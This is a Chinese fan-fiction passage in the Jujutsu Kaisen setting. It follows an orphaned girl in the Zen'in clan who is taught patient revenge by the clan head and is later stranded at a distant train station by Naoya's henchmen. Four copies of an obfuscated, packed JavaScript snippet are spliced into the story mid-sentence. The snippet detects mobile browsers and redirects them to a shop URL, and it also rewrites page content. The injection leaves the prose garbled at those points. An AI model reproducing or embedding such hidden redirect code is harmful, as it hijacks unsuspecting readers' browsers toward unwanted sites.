你的回答算是在直毘人的预料之中,他的神情明显放松下来了,往椅背上一倒,摆出一副过来人长辈的耐心模样,拖长了每一个音节,对你说:“那就对了。你打别人的时候,别人不也该感觉到疼痛吗?自己不喜欢的感触,为什么要强加给别人?” “嗯,我知道。” 你一脸诚恳。 “我就是为了让他们体验到疼痛,所以才揍他们的。” “……?” 这可不是预期之中的话语。直毘人恼怒地眯着眼,他真的感觉到你的价值观已经歪得不能再歪了。 而你继续解释:“我试着去喜欢他们了,也试着去爱他们,可他们返给我的并不是爱意。” 就算用矫正之后,那群家伙还是一副恶意满满的样子。你觉得你意识到了什么。 “既然他们给到我的恶意,那我也回以恶意。直毘人大人,我认为这是理所应当的事情。既然我给予的一切会像潮水那样最终回到我的身边,那反过来不也一样吗?因为恶意像潮水般涌来,所以我也恶意地回应过去,就是这样。我认为根本没必要积极地去应对。” 直毘人开始头痛了。“鸣神,你在说什么?”真不想承认,他完全没有听懂你的叽里咕噜到底想要表达什么意思,“突然说潮水干嘛?” 你忽然意识到,潮水的理论只是父母传授给你的知识,大概不是什么不是人人皆知的价值观。于是你很详细地给禅院直毘人解释了一遍,他看起来听得不那么认真,只在结尾的时候自言自语了一句“净给孩子灌输这种指向性过分强烈的道理”。 他的嘀咕声很轻,你根本没有听清,而且你光顾着给出你的最后定论,并不那么关心家主对你的世界观的评价。 “意思就是说。”你的定论如下,“如果不希望被我粗暴地对待,那么那些人也不该粗暴地对待我,比如像是总说我没有术式之类的。他们说出了不让人喜欢的话,那就应该被用不喜欢的方式对待!” 你说得理直气壮。直毘人对你的强词夺理感到意外,一方面惊讶于你一个年龄只有他六分之一的小屁孩居然能把歪理说得如此义正词严,一方面又纳闷五十里夫妇在你人生的头几年里究竟是怎么教育你的,居然给你打上了这种等级的思想钢印。相较之下,你说旁人都嘲笑你没有术式的困扰,反而显得相当微不足道了——虽然他最后还是选择了从这一点开始切入。 “谁说你没有术式?”他问你。 “大家都这么说。” 就连你也没有发现自己存在什么特别的力量或者技巧。 直毘人稍显困惑,眼睛上下一挑,把你打量了遍,说:“总监部的人没和你说过你的术式吗?” “没有。”你习惯性茫然地眨了眨眼,“总监部是什么?” 其实家塾早就已经教过咒术界权力分配的现状了,但可能正是因为教得太早,你彻底忘个精光。 直毘人没什么空对你进行基础知识的查缺补漏,干脆用最简单直白的方式进行解释:“在研究所爆炸后第一个和你对接的势力。” “唔——” 你努力回想了一番。 真不好意思承认,爆炸事件你也不那么想得起来了。 你只记得,那天爸爸带你去研究所找妈妈,顺便去进行那一年的定期体检。你们搭乘电梯来到地下,还没有来得及走进妈妈的实验室,走廊里就响起了尖锐的警报声,呜哇呜哇像是什么怪物扯着嗓子在喊。有很多人跑进来,而爸爸带着你跑出去,有什么东西从后方扑过来,把你按在了地板上,你的意识从这一秒之后就中断了。 再醒来的时候,你被人扛着走出废墟,矗立在林中的研究所变成了混凝土与钢筋的残骸,爬满了闪电状的焦黑纹路,天顶有一层透黑色的屏障正在瓦解。扛着你的男人说,他是总监部派来支援的咒术师,没能逃出研究所的你的父母不幸罹难,但总监部会想办法给你找到新的安置场所。 接下去的短暂一段时间,都是总监部的人在照看你的情况,在那之后你才见到了直毘人、被带到了禅院家、接受了成为咒术师的教育。 并且把禅院家的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204862|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了,最后不得不在家主的面前进行这番回忆。 哦哦,原来那就是“总监部”啊。 你明白了,但也不能算是太明白,且就算是认真地盘了一遍回忆,也想不起总监部的人和你说过任何和术式有关的内容。你果断地摇头,这可不是直毘人乐意听到的答案——这不就意味着他又要当解释的那个人了嘛。 “总监部的人做起事来真是七零八落。”他抱怨完又叹了口气,抬起眼皮重新看你,“你的术式的细节,我了解得也不多,但你有术式这一点是可以确定的。下次还有人说你没术式的话,用这个事实呛回去,不要用拳头当做回应。” 你没有应声,也不点头,只问:“我的术式是什么?” “吸收、放出,大概是这样。”正如直毘人所说,他了解得不多,就算是现在解释起来也只能说得含含糊糊的,“总监部的说法是,你好像能把雷电储存在体内,然后再释放出来,但他们觉得你的能力应该还能进一步拓宽,当然这是你自己需要在意一下的事情。我只知道,研究所事件的那天正好是雷雨天,你储存了那天的雷电,把建筑物轰成了碎屑。” 直毘人没有察觉到自己说了太多,你也没有意识到自己听到了很关键的信息。等你意识到这句“你把研究所轰成碎屑”似乎意味着某种了不得的事情时,直毘人已经开启下一阶段的话题了。 “针对你的行为,该受的惩罚已经够多了,但既然告到了我这里,我理应也该对你有一些措施才对。”他伸手去摸酒壶,却没想着逃进酒精里咪一口,习惯性地依旧在叹气,“如果是其他人,我肯定会惩罚他。但你……实在不方便这么做。” 你的关注点一下子从研究所事件歪到了他的话语上。为什么?你本来想这么问的,可才刚动了动唇,他就接着说了下去,算是主动给了你一个解释。 “估计没人说过,现在你的监护人是我,要为你的行为负责的人同样也是我。但我没有精力和时间指导或是教育你,也没可能填补上你失去的父母空位。在禅院家,教育的手段一贯只有血和眼泪。你要知道怎么约束自己的行为。” 好吧,这听起来也不算是解释。你的困惑一点都没有被解开,还是不知道他为什么会说他不方便惩罚你。倒是大道理劈头盖脸地砸过来,说着要你约束自己。 这说辞未免太“大人”了,你可不知道怎么才能做到自我约束。 一定是从你懵懂的表情里重新意识到了你尚且只是个不谙世事的笨小孩的现状,直毘人托着下巴想了想,忽然对你笑了一下。你觉得这副表情和甚尔和你说可以攻人下三路时流露出的表情惊人的相似——像狐狸那样狡猾的邪恶感。 不只是表情而已,就连他们的说辞居然也有异曲同工之妙。 “我其实也不反对你这种有仇必报的心态,但是……你蛮好可以用更聪明的方式报复回去嘛。” 10.聪明的复仇 禅院直毘人当着你的面表示他并不反对你有仇必报的心态,同时也表示,你完全可以采用更加聪明的报复方式。 嗯—— ——完全没听懂呢! 你把眼睛睁得大大的,看起来像个笨蛋。很可能你本质上就是个笨小孩没错,因为你真的想不到什么叫做聪明的报复方式。 说到底,报复还分聪明或愚笨吗?反正报复等于揍人,揍人等于直接把拳头往人脸上招呼,一直锤到对方求饶,这样难道不行吗? 不晓得直毘人有没有看穿你这种“干就完事”的心态,好在他的确察觉到了你的茫然。 如果是其他人露出了像你这样的困窘表情,他八成会觉得孺子不可教,干脆什么也不多说了,烂得搭理听不懂画外音的蠢蛋。幸亏你只是个刚活了没几年的崭新人类,且还是直毘人主动揽下的小麻烦蛋,他对你的容忍度自然而然地提升了几个百分点,恰好就是这点微小的数值变化足够支撑他为你的聪明报复指明正道。 “你想想,为什么感到不爽就要立刻报复回去?你不觉得蛰伏一段时间,在对方以为根本没有影响到你的时候,借着最正当的机会反击回去,是很爽快的一件事情吗?我的话就很喜欢这样。” 来自家主的人生经验,但考虑到你才度过了他人生中六分之一的岁月,大概率会听不明白,直毘人干脆用你的那套潮汐往返不停的理论再给你说明了一遍。 “褪去的潮水也不是当下就会立刻涨起来的,而是等待着、等待着,在一段时间之后才重新涨起。你明白了吗?就好像美酒,也是储存得越久才会越美味的嘛。” 你想了想,又琢磨了琢磨,最终坚定地点头。 “我明白了!” 意思就是要积蓄力量,在未来找准机会一口气冲上去吧,你完全明白了! 至于直毘人暗自希望你可以在蛰伏的期间自然而然地忘记掉一部分恶意的这份期待,由于他丝毫没有说出口,你理所应当地丝毫没有get到,只兴致勃勃地沉在家主教授给你的复仇小技巧里,整个人都显得好爽朗。而你这副模样也让直毘人也觉得自己的指导(和不曾言说的期待)完全派上了用场,颇感心满意足,不再和你过多唠叨(主要也是懒得再和你唠叨),朝你摆摆手,打发你回去了。 价值观被刷新,兼得知了自己其实有术式的你,以前所未有的昂首挺胸姿态走出了家主的书房。肯定是因为认知大不同了,就算是行走在连日光都难得地透入禅院家的宅邸都觉得好轻快好自在,迎面吹来的风也清爽得不像话,你几乎要蹦跶起来,完全没有留意眼前的情况,差点和要来见父亲的直哉撞在一起。 还好还好,只是差点,多亏他及时收住了脚步,又向后避了避,才不至于发生一场惨烈的冲撞。 但就算没有撞上去,直哉的表情看起来也没有高兴到哪里去。他的狐狸眼睛上下一扫,飞快地把脏兮兮鼻青脸肿的你收进视线里——这副打量人的动作和神态和直毘人好像,该说真不愧是父子吗?你不由自主地想。 不过,直毘人可不会在看完你的惨兮兮模样之后皱起脸,露出一副极其复杂的、毫不掩饰的讨厌嫌弃加上一点贼心得逞的小小窃喜的表情。家主又不是七岁的直哉,幼稚且藏不住心情。 也许你真的很值得被嘲笑吧,被拳头惩罚得可怜兮兮不说,还要被关在忌库整整三小时,不用多想也能知道你变成了怎般狼狈的模样,可在用表情予以嘲笑的同时,嘴上也毫不留情,这怎么想都有点超过了。 “真逊啊。” 直哉露出很标准的嘲弄表情,稍稍捂着嘴,像是要把自己翘起的嘴角藏起来,然而遮挡率仅为百分之二十,张扬的姿态全都从指缝间漏出来了。 “听说你被健人叔叔揍了?没被打掉一条腿算是你运气好了,听说他的亲女儿就是被他打死的,因为她既没天赋又不听话。现在你知道了吧,谁能招惹谁不能招惹,况且没有术式的你天生就是低人一等的。你挨了打也好,五十里,从此之后就会知道该怎么在这个家里低头做人了。” 你静静听着他的话,听他说出你不爱听的话。你肯定不觉得高兴,拳头也早已习惯性地捏紧了,可却始终没有举起来。 你想到了蛰伏,想到了潮汐,想到了直毘人说晚来的报复才最爽快,习惯性的冲动瞬间随之收敛起来。 但是,不用拳头作为回应的话,似乎会让直哉的话语显得像是落空了那样,多少有点不礼貌。爸爸妈妈可没教育你成为不予以回应的无理家伙——当然他们也没有特地把你养成一个随便打人的暴力狂。 你想了想,思索着平时大家很常有的反应,从中提取出了自己的该有的行为指标。 所以,你扬起了嘴角,对直哉露出了相当阳光的微笑,为此还特地眯起了眼睛——大家在笑起来的时候,鼓起的苹果肌就是会这样自然而然地把眼睛顶成弯弯的形状,这样看起来会显得足够礼貌且友好。 “是吗?是吧。”你顺便补上了这么一句。 你的态度显得仿佛你根本没有认真听他说话,回应怎么听都好敷衍。按理说,最先从直哉的心底冒出来的情绪,应该是恼怒才对,至少也应当感到不爽,可这些滚烫的情绪完全没有在第一秒钟出现,他反倒愣住了。 是的,他愣神了,直直地盯着你,简直像在看一个陌生人。 不怪他过度反应。谁让你最近给他留下的印象太过鲜明,不服管教还动不动就打人连长辈都敢顶撞的刺头本色怎么也无法抹去。他甚至都料想到了,被他说得气急败坏的你绝对会习惯性地朝他动手,届时他就可以正正当当地把你打趴在地——他理所应当地觉得,那些没打过你的家伙纯粹是因为太过废物,才不得不迎接拳拳到肉的失败。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215427|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和那些人可不一样,禅院家小天才怎么可能落得和庸才一样的下场?这种做好了心理准备的对决,他绝对不可能败下阵来! 意思就是说,上回被你按着打绝非能力差距,而是你太过狡猾,偏偏选在他没有做好心理准备的时刻动手。他怎么可能比你差?绝不可能! 心理准备做好了,拳头也握紧了,就连要使出的的招数和以防万一的指.虎都已全部备齐,结果你只是轻描淡写地对他笑得敷衍,无关紧要地应着无聊话语,他做好的一切准备在这个瞬间变得轻飘飘般微不足道,也难怪直哉会愣住。 还好,愣也只是愣了短短一秒,该来的愤怒总还是要呼啸着卷过他的头顶。他一下子生气了,叫嚷着说你到底是谁啊,被健人打成猪头之后你的灵魂就换了个人了是吗。 风水轮流转,现在轮到你发蒙了。虽然你打心底觉得问题更大的那方是直哉。 “我是五十里鸣神啊。”你说着这个再显而易见不过的事实,“我的灵魂没有更换,我还是我。虽然我的脸确实有点变形了,也有点不好辨认,但等我脸上的淤青消下去之后,直哉你就能认出我是谁了吧。” 你的回答太真诚了,一瓢浇在直哉的头上,害他的恼怒烧得更加厉害。 “我会认不出来你是谁吗?就算只剩下了骨头,我也能辨认出你这幅惹人厌的样子,都用不着等到你拿回这张恶心面孔就能做到!” 你不爱听的话语迎来了大连发,你默默记在心里,完全没觉得不高兴,反而在想到蛰伏的艺术之后,不自觉地笑出了声——这下总算是真情实感的笑容了。 “那就好。明天见。” 你率先丢出道别,率先离开这场对话。 如此对待禅院家的少爷,绝对算得上是大不敬,你毫无自觉,直哉自己也恼得顾不上这种事,只恨恨地瞪着你轻快离去的步伐,心想他明天才不想看到你。 他确实应该期待隔天不要见到你,时隔一晚正是潮水上涨的最好时机,凑巧今日的一对一训练,你在一开始就被指派着当上了直哉的训练对手——你丝毫没有意识到这是直哉为了让你好好受个教训而暗地里做好的安排。 浑然不知也好,这样你才能心无旁骛地丢掉木刀,一拳头朝直哉抡过去。 这是你最近发现的事情。不拿武器的你比拿着武器的你更厉害。 大概是因为武器很容易磨钝你的五感,也容易让你分心,赤手空拳才最适合你。 当你用十字固把直哉拔的嗷嗷大叫,道场里的所有人都疯了似的扑上来让你松手的时候,你更确信自己是无需依赖武器的拳头派了。 与此同时,直哉抱着马上就要脱臼的右手臂大喘气。他也确信了一件事。 他确信,像你这种可恶的家伙,必须要被赶出禅院家才行。 他现在真的要在这件事上好好努力了。 11.驱逐!一个不留! 要怎么把你从禅院家赶走呢? 这个问题不是第一次思考,也并非第一次落实,但没有任何一刻的直哉比此时更加专注地琢磨着该如何驱逐你。 让某人彻底消失在禅院家,这事可以很容易地实现,也可能会有点难,全看执行者自己的权力和本事了。 直哉不觉得自己没本事。不过,他好像确实稍稍地缺少了一点权力。 倘若他已经荣登家主的宝座,事情可就简单多了。他只需要随意发话,就足够将你踢出禅院家的大宅,此生此时都没办法再在咒术界立足,且只需要敲敲指尖,也足够让你在麻瓜的世界活得同样艰难——这可是财富与权利延续了数百年的家族才能够拥有的特权。 很可惜,他还没能当上家主。这件事还不是三两年内就能实现的。他可不情愿咒老爹英年早逝,虽说他打心底地想要成为过分年轻的家主,以英勇果断之姿率领禅院走上御三家的巅峰。如此一来,他绝对会成为人人敬仰的活生生的传奇,就算死了也足够变成流芳百世的传奇。 但还是很可惜,这种事发生的概率不高。暂且抛开他邪恶贪婪的幻想,还是脚踏实地执行“驱逐五十里鸣神计划”吧。 不那么方便的招式就是继续给家主老爹吹耳旁风,向他诉说你有多么糟糕,可这绝对是旷日持久的招数,真要等到见效,估计都已经水滴石穿了,那时候保不齐他已经坐上了家主的宝座,根本用不着唆使老爹行使他的家主权利。 还好还好,运气待他不薄,禅院直哉很快就等到了一个绝妙的机会。 在每年年初,恰好凛冬未尽、春日的暖意尚未落下的那段时节,家主会率领禅院家的一部分咒术师前往奈良的春日大社布置巨大到足以笼罩整个近畿、四国乃至九州地方的结界,足以组织小型咒灵的出现,也可以提前预防大型咒灵造成的损害,是御三家必须承担的工作。通常家中有才能的小辈们也会一并参与结界的布置工作。 这可不是贪图童工的劳动力,虽然能来几个随意使唤的小孩确实趁手又好用,但抛开大人们的小小自私和懒惰,这番安排的真正初衷是想要让小一辈多长长见识。 布置如此大范围的结界,可不是在随便哪个家族可以见识到的事情,哪怕只是旁观一眼,也足够为之庆幸自己的好运了。 而直哉认为最大的好运是,他可以趁这个机会,让你在迈出禅院家的大门之后,再也没有机会重新迈入——但计谋得逞的前提是,你得被选中,成为随同前往奈良的一员。 这种事,想来稍稍有点难受。 准确的说应该是很难受才对,他可不想你一起去奈良。 人人都知道,有才能的小孩才可以前去旁观结界的布置,绝不是谁都能加入的少儿观光队。有这层深意在,倘若他的奈良计划当真成形,不就像是在承认你有才能吗?真要这样,他可不乐意! 直哉纠纠结结地在“顺利地除掉五十里鸣神”和“不承认五十里鸣神的能力并且继续忍耐这家伙的存在直至想到新的解决方法”之间摇摆不定,他第一次感觉到自己居然是这么一个无法下定决心的家伙,而现状肯定全都是你害的,想想更觉得生气了,只可惜这点恼怒并不能帮助他心中动摇的指针明确地指向“除掉你”还是“忍耐你”,倒是冬日快要切实地走到尽头了。 屋檐上的最后一摊积雪融化了,直毘人和直哉说起布置结界的事情,让她今年也要一同前去。 这一点也不意外,他可是整个家都寄予期待的小天才嫡子,往年都会随父亲一同前往奈良,一切照旧完全是意料之中。 直毘人还对你说,本次的结界布置,你也需要一同参加。 这……勉强不算太意外吧。尽管直哉真的很不爽你也要当奈良之行的跟屁虫,也绝不会因此承认你的才能,但在一整个冬天的纠结之后,他多多少少算是调整好了心态。 况且,你的同行是他的计谋得以成功实现的最大前提,他决心把自己的期待和心思全部放在没有你存在的快乐未来,而不是你被老爹认可了能力的悲报上。 “顺便,由你给鸣神领路,带她到奈良吧。” 直毘人继续对他说。 “你也是时候该试着进行人员和资源的协调了。” 好吧,这足够让人意外了,至少直哉会意外到下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223894|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识抬起头,久违地注视着老爹的双眼。 不是不是,叫上你这个讨厌的家伙一起去就算了,怎么还非要由他来给你领路?这算什么啊! 禅院直哉当下就冒出了如此冒进的念头。 念头归念头,这种不可言说的事情,只有藏进心里才是最合适的。直哉半点没透露出自己冒火的想法,虽然他不情不愿且怎么看都不痛快的面孔足够将他的心情透露出一大半。好在直毘人也没什么精力分神去关心儿子的内心活动,完全忽视了他显而易见的异样,自顾自把任务交给他之后就不再多说什么,徒留直哉一人郁闷。 郁闷和念头一样,最好别说出来,气闷却藏不住,于是你愈发感觉到直哉会向你投来目光。 并且你完全没有意识到他是在瞪你。你把这种直勾勾很尖锐的视线当成了再平常不过的注视,泰然处之。况且你最近无心搭理他的事情。 你正在寻找甚尔。 找他的理由很简单。他教了你对付他人的办法(虽然最后用这一招没能换来太好的结果,但多多少少算是派上了用处),作为交换,你想把家主告诉你的蛰伏大法教授给他,算是实现了交换。可到处找不到他的人,就算向旁人询问,居然也毫无收获。 乐意搭理你的人通常不情愿搭理甚尔,拿他当瘟神看,仿佛无咒力的体质是极易感染的病毒;和甚尔会有接触的人不情愿理会你,他们都比你年长了好几岁,当你是无聊的幼稚小孩,不可能把金字塔脚下的砂砾发出的声音听进耳朵里。这般微妙的社交圈落差,正是你和甚尔这两个齿轮自那之后都没能在禅院家的宅邸重新咬合的唯一原因。 春分日越来越近,天却是毫无春日的暖和迹象。你照常戴上围巾,卷起和服的袖子伸进羽绒服。午后就要启程去奈良了,听说那里比京都还冷,连整天游走在街头的鹿都躲进山里了。 你还没去过奈良,也不算太过期待,但到底是要去个新地方,小小的欣喜肯定是存在一些的。 不过,看到要与你同乘电车前往奈良的同伴是一直当直哉跟屁虫的平良平野两兄弟时,你莫名觉得,去奈良这件事好像没什么值得高兴的。 12.存在感消失 禅院平良和禅院平野是那种如假包换、仿佛从美式戏剧里走出来的一对兄弟——意思是说,常常兄弟中的一人刚说完上半句话,另一位就会迫不及待补齐下半句,心有灵犀到仿佛他们的人生中连足够独自说完一整句话的富余时间都没有。 顺便一提(虽然你也不知道这事有没有必要提),这对兄弟中的哥哥平良,正是许久之前跟着直哉一起把你带到家里的小角落、对着你叽叽歪歪说了一大堆话、因此被你狠揍了几拳头的受害者之一。 不过那天弟弟平野倒是没在场,但以这对兄弟心有灵犀的程度来看,就算是没挨过你的打,平野对你的怨念也绝不可能比哥哥更少。 也就是说,由他们俩带着你一起去奈良,这种安排怎么想都透着不对劲。 很可惜,你完全没有意识到这一点。绝不是因为你迟钝或者你尚且没有完全摸透禅院家的丛林法则,纯粹是这对兄弟今天对你态度平和且正常,完全让人无法起疑心。 “我们搭电车过去。”兄弟中的哥哥说,下一句当然是平野搭腔,“往年都是这样的,你可别以为是禅院家在故意亏待你!” 当哥哥的总摆出一副小大人的模样,明明他只比你大了一岁。与你同年出生的平野则是叽叽喳喳,这副做派也很像是身为弟弟的一方该有的样子。要是你被教授了足够多的生理学知识,就该知道,这对兄弟之间过分狭窄的年龄差给他们的母亲带来多少苦头了。但知识储备太少完全不能怪你,这该是教导你的禅院家的失职才对。 你眨眨眼。 你倒是无所谓搭电车过去,毕竟摇摇晃晃的电车也挺有意思。可你一小时前明明看到直哉和其他长辈是由家里的轿车一道送出门的,难道他用不着搭电车去奈良吗? 你并不羞于把自己的困惑直白地说出口,倒是平良平野跳脚得厉害,简直要窜到天上去了。 “你和直哉少爷能一样吗!”平良嚷嚷。 “你可不配轻松地去那儿!”平野吵吵。 你依旧困惑,忍不住皱起眉头。 “那你们不也一样吗?”你真的不懂他们,“为什么表现得那么着急,是被我说得气急败坏了吗?” 你的真诚询问仿佛为跳个不停的兄弟俩按下了暂停键,两人完全僵住,过分沉默地破防了,下意识张开嘴想要反驳你,可惜根本没办法说点什么辩驳的话语,只能悻悻地冲你做鬼脸,杀伤力约等于零。 搭电车前往奈良,这么节俭的安排自有用意。抛开节约成本的大前提(就算是大家族也要考虑开源节流的嘛),让小辈们自行前往奈良,主要还是为了锻炼禅院家孩子的社会化能力。 从出生直至真正成为咒术师之前,禅院家的几乎所有人都停留在这座宅邸里,教育、友情、待人接物的方式,成长所需要的一切素材全都来自禅院宅邸与生活其中的所有人,围墙圈起的这方天地足以视作微缩的世界,却也不完全等同于真正的世界。所以,时常做些普通麻瓜会做的事还是很重要的,否则生活在这里的人没办法成为健全的人。 至于大少爷直哉,他可用不着社会化。当上家主看得绝不是与人往来的能力而是切实的实力,况且他完全不觉得自己的社交能力有任何问题。 你跟着平良平野兄弟俩,在日落的三分钟后出发,往最近的电车站走去。 其实你们早该在午后出发,这是原本大家约好前往奈良的时间,都怪兄弟俩丢三落四,每每走到门口,才突然想起有东西忘带,急匆匆说要回去拿,叫你等等他们——“我们是要一起出发的,所以你就是该等等我们!”还会摆出这般冠冕堂皇的理由。 你倒是没太多意见,反正早点到奈良或是晚些抵达都无妨,抱怨的话也不打算说,就连等待平良买车票的期间也颇有耐心,直到他对着售票机戳了整整十分钟都还没有吐出车票,你才觉得应该说点什么了。 “你是不是还没把钱塞进去?” 你好心确认,但突兀的开口却莫名地吓得平良差点跳起来。他不自然地侧过身子,用不比你高多少的个头挡住售票机的屏幕,意味不明。 “我知道!”他理所应当地嚷嚷,平野也赶紧替哥哥补上后半句,“你当我们没坐过电车吗?” “我没这么觉得。我只是认为你们没做对。” 毕竟,你也坐过电车——你爸以前总是搭电车带你去妈妈的研究所。 兄弟俩不想搭理你。比起话语的胜利,还是赶紧把眼前的困难搞定才对。两人捣鼓了又捣鼓,集兄弟合体之力,终于在十五分钟后让售票机吐出了车票,顺利通过闸机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233041|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,险险搭错车。 但就算上错了列车,你可能也不会感知到。你完全不知道目的地是哪里,也不清楚要在哪一站下车,说着要给你领路的兄弟俩大包大揽,对这趟路途涉及的任何事项都不刻意提及,自然也不和你聊天。你茫然地伴随着车厢摇晃了一个多小时,窗外的风景寡淡无趣,没有任何欣赏的价值。你努力睁大浅橄榄色的眼睛,清醒的意识却不自觉地飘走。感觉快要在温热的座椅上睡过去了。 平良忽然拍了下你肩膀,你的困意猛地消失无踪,无意识地哆嗦了一下。平良也哆嗦——还以为要被你打了,他的ptsd正在悄然作祟。 跟屁虫哥哥又没有对你做什么,你也没打算在此刻露出拳头,只磨蹭着揉揉眼睛,问他怎么了。 “该下车了。”他和你说。 “哦……好。” 赶在车门关闭的一秒钟之前赶紧冲向月台,寻找上楼的扶梯时花了挺久时间。看来兄弟俩也不熟悉路线嘛,他们的社会化程度也很堪忧。就算在你的帮忙下,还是花了不少时间才找到出口的闸机,刷票出站,料峭春寒伴随着潮湿的风从站台口吹进来。 你缩起脖子,把脸埋进围巾里,习惯性地跟着领头的平良继续往前走,他却很突然地停住了脚步,弓起后背抱住肚子,蜷得像只虾。 “哎呀!”他以一种字正腔圆且感情充沛的腔调,扯着嗓子叫嚷起来,“肚子好痛!好痛啊!” 平野也做出一样的反应,“不行不行!得去趟厕所!” 你感到困惑:“你们俩肚子都痛吗?” 兄弟俩同时忽视了你的问题,各自伸出一只手,重重地搭在你的肩膀上。 “五十里,你在这里等我们一下,我们可能得要点时间。你得在这儿等我们啊!” 然后就溜进车站的厕所了,跑得飞快。 心有灵犀的兄弟俩,居然连肠胃不适都会变成心有灵犀的巧合吗?真恐怖。 独生女的你多少无法想象,大概这辈子都没办法理解,可既然事实如此,你坦然接受,百无聊赖地靠在撑起整个地下空间的柱子旁,盯着时钟发呆。 一秒钟。一分钟。一小时。 你独自停在原地,而时针依然指向了新的数字。为你领路的兄弟一直没有走出来。 13.似乎被丢下了 你觉得你等待了挺久,久到时针都已指向了崭新的数字,不过这段时间的体验感不算太长。 这时候需要感谢困意的帮忙。你靠在柱子旁,时不时地就会犯困,尽管没有真的睡着,却也差不多摸到了梦境的边缘,好不容易彻底清醒过来,这才意识到自己站了差不多一小时,膝盖都酸得发胀了。你蹦跶了几下,在原地抻腿,把僵硬的筋骨重新撑开来,顺便借着这点忙碌的小小时间四下张望。 平良或者平野并不在附近。 确切地说,不只是兄弟俩而已,整个车站都没有多少人。都怪这时间正值列车尚未到站的空隙,晚高峰通勤时段也已过去,既不会有多少出站的乘客,也没几个人会刷卡穿过闸机。你独自站在这里,不算宽敞的空间仿佛只剩下了你。 不至于为此感到害怕,你只是有点纳闷,纳闷人类是不是真的能够在厕所待满一整个小时。 那一刻的你暂时没琢磨到任何糟糕的可能性,直觉般认为兄弟俩还在和绞痛的肠胃奋战,或者很可能和你一样,在不该犯困的场所犯困了。 时间不早了,接下来的路途还有多远,你完全不知道,但怎么想都觉得不能再耽搁时间了。你没怎么思考,干脆地走进那间贴着蓝色男士标志的厕所,可平良和平野谁都不在。唯一一个立在此处空间的之中的是尴尬地中年男人,一见到你的脑袋便立刻提裤子对你大喊“你走错了快点出去!”,窘迫的样子透着不合年纪的惊慌。你和他道了歉,快步退出去。 如此看来,你的猜想出错了。可兄弟俩不在这里的话,还会在什么地方呢? 如果你能找到站长的办公室,拜托他为你播放监控录像,那你一定会看到,就在你困意泛滥的第三分钟,禅院平良和禅院平野就借着一波出站人群的掩护,偷偷从你的余光看不到的地方溜进了车站,搭乘着京都方向的列车,在距离春日大社最近的近铁奈良站下车。 也就是说,在你恢复清醒的时候,就已经被孤零零地留在了名为八木西口的这个车站,距离你的目的地相隔了整整十五站。兄弟俩早就和大家回合,得意洋洋地向直哉邀功,告诉他,自己忠诚地完成了他交予的任务。而后直哉会毫无愧疚感地向家主撒谎,说你已经抵达奈良。倘若任何人察觉到了你的不在场,到时候再随便解释两句就好了,说肯定是你到处乱跑,所以才消失无踪了的。 是的,让小跟班把你骗到距离禅院家数十公里外的橿原,就是直哉驱逐你的计谋。他知道你没有钱(连禅院子弟都算不上的小喽喽怎么配有零花钱!),毫无随身携带证件的自觉(小孩子怎么可能会有这种意识),也晓得你没记住宅邸的地址(没有出门需求的你可不需要记住地址信息),且八成不知道走失儿童的自救方法——考虑到这不是禅院家会教给小孩子的内容,他便理所应当地认为,你死掉的爸妈也不会和你说这么贴心的事情。 当然了,如果可以的话,直哉肯定希望把你丢得越远越好,最好是一路扔到最南端的九州,这样你就绝对找不到回去的路。 他不会想象你失踪后需要面临的未来,也根本没想过失败的可能性。他只打算着眼于你不存在的禅院家的美好幻想。 该怎么说呢,他对你的认知居然还挺正确。无论是没钱、缺少自觉和对自救方式的无知,他全都揣摩对了。 你的确是一个社会化程度很堪忧的小孩。 会变成这样,很可能是还是得归咎于你压根没去过托儿所或者幼儿园,社交范围局限在五十里家。整天说着爱和潮汐的爸妈,对你的教育稍稍有点厚此薄彼了。 你对危机毫无概念,好在也没觉得烦恼或者苦闷,但糟糕的部分一定是你完全没有意识到,现在的自己最需要做的事情就是寻求帮忙。 